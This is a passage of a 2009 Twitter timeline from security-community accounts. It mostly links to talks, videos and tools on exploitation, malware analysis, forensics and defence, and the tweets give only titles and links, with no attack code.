     *      *   51. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/5vo5aa \- Determining the excat memory usages by certain PID \(r00t4u\)7:34 PM Dec 5th from API
     *      *   52. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Helikaon Linux Debugger \(Recon 2008\)http://securitytube.net/Helikaon-Linux-Debugger-\(Recon-2008\)-video.aspx9:10 AM Dec 5th from DemoApp
     *      *   53. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Tactical Exploitation \(Defcon\)http://securitytube.net/Tactical-Exploitation-\(Defcon\)-video.aspx6:10 PM Dec 4th from DemoApp
     *      *   54. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Smart Parking Meter Implementations, Globalism, and You \(Defcon 17\) http://bit.ly/zUNbt4:10 PM Dec 4th from DemoApp
     *      *   55. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Building an Effective Application Security Program \(SnowFROC\) http://bit.ly/Banoq10:10 AM Dec 4th from DemoApp
     *      *   56. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Buster Sandbox Analyzer is a free \#malwareanalysis tool you can install locally. It uses Sandboxie:http://bit.ly/4r2VM05:09 AM Dec 4th from CoTweet
     *      *   57. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/8GTgZR \- How do I monitor or view the thread count of a process? \(lukasz\) \#count \#process\#thread \#thcount4:39 AM Dec 4th from API
     *      *   58. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Spoofing with Virtual Hostshttp://securitytube.net/DNS-Spoofing-with-Virtual-Hosts-video.aspx4:09 AM Dec 4th from DemoApp
     *      *   59. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering Browser Plugins Using Wireshark http://bit.ly/2KlHmt3:09 AM Dec 4th from DemoApp
     *      *   60. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Rebinding with Robert RSnake Hansen http://securitytube.net/DNS-Rebinding-with-Robert-RSnake-Hansen-video.aspx10:19 PM Dec 3rd from DemoApp
     *      *   61. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Installing Backtrack 3 on Vmware Workstation http://securitytube.net/Installing-Backtrack-3-on-Vmware-Workstation-video.aspx8:09 PM Dec 3rd from DemoApp
     *      *   62. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Buffer Overflow Primer Part 7 \(Exploiting a Program Demo\) http://bit.ly/yv1Hm6:09 PM Dec 3rd from DemoApp
     *      *   63. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Fuzzing and Exploit Development under the Win32 Platform http://bit.ly/ssdFR1:09 PM Dec 3rd from DemoApp
     *      *   64. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Cross Site Request Forgery \(CSRF\) Tutorial http://securitytube.net/Cross-Site-Request-Forgery-\(CSRF\)-Tutorial-video.aspx9:09 AM Dec 3rd from DemoApp
     *      *   65. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Beating Heuristic Scanning in Anti Viruses by Adding an Encoder http://bit.ly/JgJPC8:09 AM Dec 3rd from DemoApp
     *      *   66. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Buffer Overflow Primer Part 4 \(Disassembling Execve\) http://bit.ly/12yfqF11:08 PM Dec 2nd from DemoApp
     *      *   67. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Generic Packet Sniffer Programminghttp://securitytube.net/Generic-Packet-Sniffer-Programming-video.aspx8:08 PM Dec 2nd from DemoApp
     *      *   68. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Geo Targeting Cyber Attacks using IP Addresses http://securitytube.net/Geo-Targeting-Cyber-Attacks-using-IP-Addresses-video.aspx7:08 PM Dec 2nd from DemoApp
     *      *   69. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Microsoft Anti-Cross Site Scripting Libraryhttp://tinyurl.com/yaythw26:31 PM Dec 2nd from API
     *      *   70. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Java and JNLP Application Hackinghttp://securitytube.net/Java-and-JNLP-Application-Hacking-video.aspx3:08 AM Dec 2nd from DemoApp
     *      *   71. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Hacking Flash Applications for Fun and Profit \(Blackhat\) http://bit.ly/H3P899:07 AM Dec 1st from DemoApp
     *      *   72. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering Techniques to find Security Vulnerabilities http://bit.ly/MPd8B8:07 AM Dec 1st from DemoApp
     *      *   73. <img src='img/Temp2_8598.jpg' width='48' height='48' alt='Paul Asadoorian' />**pauldotcom** @digininja @DigitalPathogen Linux generic builds of Nessus 4.2 are online now http://bit.ly/5tkKgo\(sometimes you just have to ask :\)5:16 AM Dec 1st from TweetDeck
     *      *   74. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Blocking the Covert Channels Used for Malicious Data Theft \(Louisville Infosec\) http://bit.ly/2M2rKG5:07 AM Dec 1st from DemoApp
     *      *   75. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/5lBd5Y - http://bit.ly/8s7oXi\(encode.sh\) \(sandeepverma\)2:16 AM Dec 1st from API
     *      *   76. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] The Future of the Security Industry by Bruce Schneier http://bit.ly/57DSS1:06 AM Dec 1st from DemoApp
     *      *   77. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://www.commandlinefu.com/commands/view/4184/converting-flv-to-mpeg-in-linux \- Converting FLV to MPEG in Linux \(eastwind\)12:31 AM Dec 1st from API
     *      *   78. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Anti Forensics Techniques Detailed Primer http://securitytube.net/Anti-Forensics-Techniques-Detailed-Primer-video.aspx11:05 PM Nov 29th from DemoApp
     *      *   79. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Nmap XML Parsing with Windows PowerShell http://securitytube.net/Nmap-XML-Parsing-with-Windows-PowerShell-video.aspx10:05 AM Nov 29th from DemoApp
     *      *   80. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Inline Function Hooking by Rootkitshttp://securitytube.net/Inline-Function-Hooking-by-Rootkits-video.aspx6:05 AM Nov 29th from DemoApp
     *      *   81. <img src='img/Temp2_8622.jpg' width='48' height='48' alt='In Reverse' />**in\_reverse** The Art of Hashing:http://www.eternallyconfuzzled.com/tuts/algorithms/jsw\_tut\_hashing.aspx5:01 AM Nov 29th from web
     *      *   82. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Engage Packet Builder: A Scriptable packet builder for Windows http://tinyurl.com/ycnmlsh3:52 AM Nov 29th from API
     *      *   83. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Incident Response 101 \(LayerOne 2009\)http://securitytube.net/Incident-Response-101-\(LayerOne-2009\)-video.aspx6:05 PM Nov 28th from DemoApp
     *      *   84. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Injecting Meterpreter into Excel files using XLSInjector http://bit.ly/tLkS92:04 PM Nov 28th from DemoApp
     *      *   85. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Attacking Intel Trusted Execution Technology \(Wojtczuk Rukowska\) http://bit.ly/DT2m612:04 PM Nov 28th from DemoApp
     *      *   86. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Patching Kernel32 for Fun and Profithttp://securitytube.net/Patching-Kernel32-for-Fun-and-Profit-video.aspx4:04 AM Nov 28th from DemoApp
     *      *   87. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Buffer Overflow Primer Part 9 \(Return to Libc Demo\) http://bit.ly/4hDppC3:04 AM Nov 28th from DemoApp
     *      *   88. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Turning Metasploit into a Vulnerability Scanner using Autopwn http://bit.ly/6DMAI2:04 AM Nov 28th from DemoApp
     *      *   89. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Wfuzz and DirBuster Demohttp://securitytube.net/Wfuzz-and-DirBuster-Demo-video.aspx1:04 AM Nov 28th from DemoApp
     *      *   90. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Xplico Network Forensic Analysis Tool Demo http://securitytube.net/Xplico-Network-Forensic-Analysis-Tool-Demo-video.aspx11:04 PM Nov 27th from DemoApp
     *      *   91. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DLL Injection Basicshttp://securitytube.net/DLL-Injection-Basics-video.aspx10:04 PM Nov 27th from DemoApp
     *      *   92. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploiting XSS and SQL Injection bugs with ExploitMe \(NotACon 2008\) http://bit.ly/HNq6S9:04 PM Nov 27th from DemoApp
     *      *   93. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Dumping Passwords from Memory with Pmdump http://securitytube.net/Dumping-Passwords-from-Memory-with-Pmdump-video.aspx8:04 PM Nov 27th from DemoApp
     *      *   94. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Pixy - Tool for finding XSS and SQLI vulnerabilitieshttp://tinyurl.com/yhcpjg27:21 PM Nov 27th from API
     *      *   95. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Meterpreter Script to Dump Memory for a Single Process http://bit.ly/uN3957:04 PM Nov 27th from DemoApp
     *      *   96. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://www.commandlinefu.com/commands/view/4172/match-a-url \- Match a URL \(unixmonkey7109\) \#perl \#regex \#url\#match \#url-matching5:31 PM Nov 27th from API
     *      *   97. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Using Insecure Networks with SSH Dynamic Port Forwarding http://bit.ly/NxT3j5:04 PM Nov 27th from DemoApp
     *      *   98. <img src='img/Temp2_8598.jpg' width='48' height='48' alt='Paul Asadoorian' />**pauldotcom** Getting ready to start recording PaulDotCom EP 177 - http://pauldotcom.com/live Live from the workshop cigar smoking episode with @beaker3:15 PM Nov 27th from TweetDeck
     *      *   99. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Browser based Exploitation using Metasploit and Ettercap http://bit.ly/rPUQ62:04 PM Nov 27th from DemoApp
     *      *   100. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Endianness \(Part II\)http://securitytube.net/Endianness-\(Part-II\)-video.aspx8:04 AM Nov 27th from DemoApp
     *      *   101. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Generic Packet Sniffer Programminghttp://securitytube.net/Generic-Packet-Sniffer-Programming-video.aspx3:01 AM Nov 25th from DemoApp
     *      *   102. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Patching Kernel32 for Fun and Profithttp://securitytube.net/Patching-Kernel32-for-Fun-and-Profit-video.aspx10:01 PM Nov 24th from DemoApp
     *      *   103. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://www.commandlinefu.com/commands/view/4154/start-another-x-session-in-a-window \- Start another X session in a window \(bhepple\)9:27 PM Nov 24th from API
     *      *   104. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/91xg82 \- Pull up remote desktop for other than gnome/kde eg fluxbox \(bhepple\)9:21 PM Nov 24th from API
     *      *   105. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Tool for IP - ICMPv4 fuzzhttp://tinyurl.com/yzdp67m8:34 PM Nov 24th from API
     *      *   106. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Detecting DNS and HTTP Load Balancers using LBD http://securitytube.net/Detecting-DNS-and-HTTP-Load-Balancers-using-LBD-video.aspx8:01 PM Nov 24th from DemoApp
     *      *   107. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Programming the Frameworkhttp://securitytube.net/Programming-the-Framework-video.aspx5:01 PM Nov 24th from DemoApp
     *      *   108. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] UCSniff \(VoIP and IP Video Security Assessment Tool\) http://bit.ly/48BCRs1:01 PM Nov 24th from DemoApp
     *      *   109. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Backtrack 3 Hard Drive Installation \(Infinity Exists\) http://bit.ly/6cLI9L12:01 PM Nov 24th from DemoApp
     *      *   110. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Profiling Programs for Security Holes with Valgrind http://bit.ly/ROnGE4:00 PM Nov 23rd from DemoApp
     *      *   111. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** SFDumper: The Selective File Dumper\!http://tinyurl.com/yk2fqbh10:00 AM Nov 23rd from API
     *      *   112. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] IP Packet Sniffer Programminghttp://securitytube.net/IP-Packet-Sniffer-Programming--video.aspx7:00 AM Nov 23rd from DemoApp
     *      *   113. <img src='img/Temp2_8627.jpg' width='48' height='48' alt='Pedram Amini' />**pedramamini** Google ChromeOS VMWare image to play with:http://bit.ly/4wftxT Requires registration which can be immediately de-activated.4:58 PM Nov 20th from web
     *      *   114. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Ubuntu Package Backdoor using a Metasploit Payload http://bit.ly/1758GG4:57 PM Nov 20th from DemoApp
     *      *   115. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** checking out the milw0rm replacement:http://exploits.offensive-security.com/6:50 AM Nov 16th from web
     *      *   116. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** Why most researchers are not a fan of "responsible disclosure" by Halvar http://bit.ly/Tesdf2:22 PM Nov 15th from web
     *      *   117. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Source Code Auditing 101http://bit.ly/M0zcM11:52 AM Nov 15th from DemoApp
     *      *   118. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** Using Scapy to test Snort rules by Josh Smithhttp://bit.ly/kwGdO6:56 AM Nov 15th from web
     *      *   119. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** Jon Hart releases Racket 1.0.2 \(Ruby raw packet lib, used in Metasploit\): http://bit.ly/1dXMS12:37 AM Nov 15th from web
     *      *   120. <img src='img/Temp2_8599.jpg' width='48' height='48' alt='seanhn' />**seanhn** http://min.ie/2jw <\-- Great series on building a poker bot. Really gets into the meat of it in the third post3:40 PM Nov 14th from Twitterrific
     *      *   121. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Cookie Poisoning Demonstration \(Imperva\) http://bit.ly/jkT509:46 AM Nov 14th from DemoApp
     *      *   122. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploit Development Basicshttp://bit.ly/3mP094:45 AM Nov 14th from DemoApp
     *      *   123. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** NBNSpoof – The NetBIOS Name Service Spooferhttp://tinyurl.com/yceftcp8:56 AM Nov 13th from API
     *      *   124. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** Reversing QT Internals from Daniel Pistellihttp://bit.ly/2KoMhM8:13 AM Nov 13th from web
     *      *   125. <img src='img/Temp2_8618.jpg' width='48' height='48' alt='Alexander Sotirov' />**alexsotirov** If you read Schneier you're already familiar with all these arguments, but this essay summarizes his ideas very well: http://bit.ly/4pC556:07 AM Nov 13th from web
     *      *   126. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** \#Vulnerability Analysis Blog: Plain Text Email in Outlook Express http://ow.ly/BTne5:46 AM Nov 13th from HootSuite
     *      *   127. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** Hybrid Analysis and Control of \#MalwareBinaries \#pdf http://ow.ly/BTkE5:44 AM Nov 13th from HootSuite
     *      *   128. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Computer Security and Voting \(Talk at USENIX\) http://bit.ly/170Gs75:44 AM Nov 13th from DemoApp
     *      *   129. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Cisco IOS Shellcode Hackinghttp://bit.ly/3JUbrg4:44 AM Nov 13th from DemoApp
     *      *   130. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** Forensic Incident Response - "Why limited privileges don't matter" http://j.mp/4lntFo12:31 PM Nov 11th from BigTweet
     *      *   131. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** 13 anti-virus rescue CDs, available as free downloads: http://bit.ly/2IrXPw9:46 AM Nov 9th from CoTweet
     *      *   132. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Client Side Penetration Testing \(Notacon\) http://bit.ly/10mMcc8:34 AM Nov 9th from DemoApp
     *      *   133. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Injectable Exploit \(Defcon 17\)http://bit.ly/3IqhPf6:34 AM Nov 9th from DemoApp
     *      *   134. <img src='img/Temp2_8616.jpg' width='48' height='48' alt='Jeff Murri' />**InfoSec208** Powershell is getting handier and handier: RT @vmguru: 492 Cmdlets for Sharepoint\! http://bit.ly/2KOUX3You got some work to do @cshanklin11:40 AM Nov 7th from Echofon
     *      *   135. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] A Beginner's Guide to VMware Data Recovery http://securitytube.net/A-Beginner's-Guide-to-VMware-Data-Recovery-video.aspx11:32 AM Nov 7th from DemoApp
     *      *   136. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** 3 Lists for Investigating \#Malware Incidentshttp://ow.ly/AdlW | \#SANS3:54 AM Nov 7th from HootSuite
     *      *   137. <img src='img/Temp2_8621.jpg' width='48' height='48' alt='thierryzoller' />**thierryzoller** updated SSL/TLS vuln blog post - IETF Draft & SSLTLS Test Tool : http://digs.by/j6n3:39 AM Nov 7th from Digsby
     *      *   138. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Windows 7 Security Talk by Jorge Orchilles http://bit.ly/3vzdEX2:32 AM Nov 7th from DemoApp
     *      *   139. <img src='img/Temp2_8595.jpg' width='48' height='48' alt='robtlee' />**robtlee** US Dept. of Justice released "Electronic Crime Scene Investigation: Reference for First Responders"http://bit.ly/kljn \(via @forensikblog\)11:50 PM Nov 6th from Twitterrific
     *      *   140. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** RT @MSWindows: An introduction to \#security in\#Windows 7 - http://bit.ly/26zqLY ^JS9:53 PM Nov 6th from HootSuite
     *      *   141. <img src='img/Temp2_8595.jpg' width='48' height='48' alt='robtlee' />**robtlee** Microsoft COFEE \(Ripoff of Windows Forensic Toolkit\) live forensics law enforcement tool leaked on intertubeshttp://bit.ly/3p4HhQ9:09 PM Nov 6th from Twitterrific
     *      *   142. <img src='img/Temp2_8610.jpg' width='48' height='48' alt='Mikko H. Hypponen' />**mikkohypponen** My answer to question "Who has made the biggest impact on the information security industry?":http://bit.ly/1EtEC9:00 PM Nov 6th from bit.ly
     *      *   143. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** What's malware analysis like? Here are steps to analyzing a covert surveillance program SpyKing:http://bit.ly/1EcmDa6:16 PM Nov 6th from CoTweet
     *      *   144. <img src='img/Temp2_8610.jpg' width='48' height='48' alt='Mikko H. Hypponen' />**mikkohypponen** A good talk about how Google does laaarge scale storage: http://bit.ly/3y2QCf \[an MP3 from IT-Conversations\]5:02 AM Nov 6th from bit.ly
     *      *   145. <img src='img/Temp2_8593.jpg' width='48' height='48' alt='Postmodern' />**postmodern\_mod3** SOCKS 4 server with ProxyMachine \(via coderrr\) http://bit.ly/1uq18G \#ruby \#socks \#proxy10:13 PM Nov 5th from web
     *      *   146. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Mini MySqlat0r - Audit web sites to discover and exploit SQL http://tinyurl.com/ykyrucp8:29 PM Nov 5th from API
     *      *   147. <img src='img/Temp2_8608.jpg' width='48' height='48' alt='Brad Spengler' />**spendergrsec** Has this jemalloc bug in Firefox been fixed upstream yet? http://bugs.gentoo.org/278698 If not, can someone get on that?5:27 PM Nov 5th from web
     *      *   148. <img src='img/Temp2_8620.jpg' width='48' height='48' alt='I)ruid' />**druidian** \#WTF of the Day: http://bit.ly/Jg6v84:02 PM Nov 5th from web
     *      *   149. <img src='img/Temp2_8601.jpg' width='48' height='48' alt='Chris Gates' />**carnal0wnage** awesome article on RS about bear sterns wall street scam http://bit.ly/1BwfRM i do believe wall street == bigger criminals than all carders2:18 PM Nov 5th from web
     *      *   150. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** 10 faces of computer malware:http://bit.ly/3Bx1TR. Good overview by @MKassnerNet.11:17 AM Nov 5th from CoTweet
     *      *   151. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** A directory of technical cheat sheets:http://devcheatsheet.com. Covers programming, networking, security, etc.8:35 AM Nov 5th from CoTweet
     *      *   152. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Fake AV Live Analysishttp://bit.ly/9rYAY8:30 PM Nov 4th from DemoApp
     *      *   153. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Svchost Process Analyzer - Indepth detection of malwares http://tinyurl.com/yz4ek8j8:27 PM Nov 4th from API
     *      *   154. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** Generic TLS MITM technique\! Cat. Bag. Out. Details to be published at: http://extendedsubset.com/12:45 PM Nov 4th from web
     *      *   155. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** IOBit steals Malwarebytes database?http://bit.ly/3CcE4:59 AM Nov 4th from web
     *      *   156. <img src='img/Temp2_8616.jpg' width='48' height='48' alt='Jeff Murri' />**InfoSec208** RT @OComputing: How to spam Facebookhttp://bit.ly/1pSANb <\--Great read9:40 PM Nov 3rd from TweetDeck
     *      *   157. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** Countering rootkits with hook protectionhttp://bit.ly/3xsvJ28:27 PM Nov 3rd from web
     *      *   158. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Hacking Barcodes http://bit.ly/3XaCDu7:29 PM Nov 3rd from DemoApp
     *      *   159. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "WebApp Sec: winAUTOPWN 2.0 - Introducing winAUTOPWN GUI - Now you can sleep" http://j.mp/1tKD6Z1:12 PM Nov 3rd from BigTweet
     *      *   160. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Packet Injection Basics Presentationhttp://bit.ly/C0cOf12:25 PM Nov 3rd from DemoApp
     *      *   161. <img src='img/Temp2_8604.jpg' width='48' height='48' alt='Offensive Computing' />**OComputing** Windows 7 still runs viruses.http://bit.ly/2qXgu2 Is this surprising to anyone?11:57 AM Nov 3rd from web
     *      *   162. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netbios Basics using SMBClient Part 2http://bit.ly/W3BA911:25 AM Nov 3rd from DemoApp
     *      *   163. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] How We Break Into Domains \(HAR 2009\)http://bit.ly/1fQ5Hg8:25 AM Nov 3rd from DemoApp
     *      *   164. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Raw Sockets Basics Presentationhttp://bit.ly/UKGYO12:25 AM Nov 3rd from DemoApp
     *      *   165. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TCP IP Concepts Review Lecture by Sam Bowne http://bit.ly/17hkHy4:25 PM Nov 2nd from DemoApp
     *      *   166. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Inline Function Hooking by Rootkitshttp://bit.ly/1nuhf12:25 AM Nov 2nd from DemoApp
     *      *   167. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Security Compliance Management Toolkit Series - updated with windows 7 http://tinyurl.com/ykmpw2u6:40 PM Oct 31st from API
     *      *   168. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** major updates to how metasploit generates executables, you can now pass -x my.exe to msfencode to inject into your own template.6:34 PM Oct 31st from web
     *      *   169. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Invision Power Board Hacking using XSShttp://bit.ly/3n8Hvt8:06 PM Oct 30th from DemoApp
     *      *   170. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** User-agent: Kids Disallow: /tricks Allow: /treatshttp://www.google.com/robots.txt ?6:02 PM Oct 30th from web
     *      *   171. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** A multiple anti-virus engine scanner, similar to VirusTotal, but new to me: http://filterbit.com/5:30 PM Oct 30th from CoTweet
     *      *   172. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "Vulnerability sales help secure Microsoft"http://j.mp/1XKhkg11:48 AM Oct 30th from BigTweet
     *      *   173. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** RT: @dinodaizovi: If you care about exploits, you \*need\* to read @dionthegod's blog post "Pointer Induction":http://bit.ly/2PzQvq10:42 AM Oct 30th from Echofon
     *      *   174. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** How to implement SSL/TLS for a web application; useful \#security cheat sheet from @owasp:http://bit.ly/EbnFW10:12 AM Oct 30th from CoTweet
     *      *   175. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Ncat Demo by IronGeekhttp://bit.ly/3v2L9Z9:06 AM Oct 30th from DemoApp
     *      *   176. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** Schneier on Security - Attacking U.S. Critical Infrastructure http://j.mp/2zGqj08:32 AM Oct 30th from BigTweet
     *      *   177. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Wfuzz and DirBuster Demohttp://bit.ly/24xV5x8:06 AM Oct 30th from DemoApp
     *      *   178. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** \#Google \#Security Blog: Do machines dream of electric \#malware? http://ow.ly/xGsr6:37 AM Oct 30th from HootSuite
     *      *   179. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** List of tweeters who offer malware insights:http://bit.ly/2fJAiE. Tell me if you focus on malware and I forgot to add you6:30 AM Oct 30th from CoTweet
     *      *   180. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Mausezahn: The Traffic Generator\!http://tinyurl.com/ykgg4ya5:29 AM Oct 30th from API
